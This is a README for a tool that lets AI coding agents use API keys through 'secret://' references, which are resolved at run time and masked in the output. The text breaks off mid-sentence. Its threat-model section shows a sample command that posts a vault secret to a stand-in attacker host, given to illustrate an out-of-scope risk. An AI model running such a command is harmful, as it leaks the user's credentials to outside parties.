Agent Secrets — AI skill for Claude Code

agent-secrets

**Let an AI agent use your API keys and passwords to get work done — without the plaintext ever entering its transcript.**

Your agent references a secret as `secret://vault/` and runs the command through `secret-exec`. The real value is resolved *downstream* of what the agent records, injected into the command that actually runs, and scrubbed back out of the output before the agent sees it. The transcript keeps the reference; the service you called gets the real value; the agent gets the result with the secret masked.

agent writes:   secret-exec run 'curl -H "Authorization: Bearer secret://vault/gh" https://api.github.com/user'
transcript:     …secret://vault/gh…                 (reference, never the value)
github.com got: Authorization: Bearer ghp_realvalue (the real value)
agent sees:     { "login": "me", … }                (result; any echoed secret → ***)

Works the same in **Claude Code**, **Codex**, and **Cteno**. No daemon, no cloud, no account. Each `secret-exec run` resolves and exits.

Threat model — what this does and does not promise

The guarantee is exactly the one your OS keychain gives:

**The plaintext never enters the agent transcript / LLM context.**

Explicitly **out of scope** (same as a keychain — if an attacker already has these, nothing helps):

• A resolved value briefly lives in the child process it is injected into, visible to other processes running as the same OS user (ps, /proc).
• An agent that is actively trying to exfiltrate a secret it is allowed to resolve can still do so (secret-exec run 'curl attacker.com -d secret://vault/x'). Output scrubbing is defense-in-depth against accidental echo, not a sandbox.
• Your machine being compromised, your network being tapped, etc.

If you need to stop a *malicious* agent from using a secret, don't give it access to that secret. This tool stops the *ordinary* leak: a helpful agent pasting your key into a transcript that gets logged, synced, a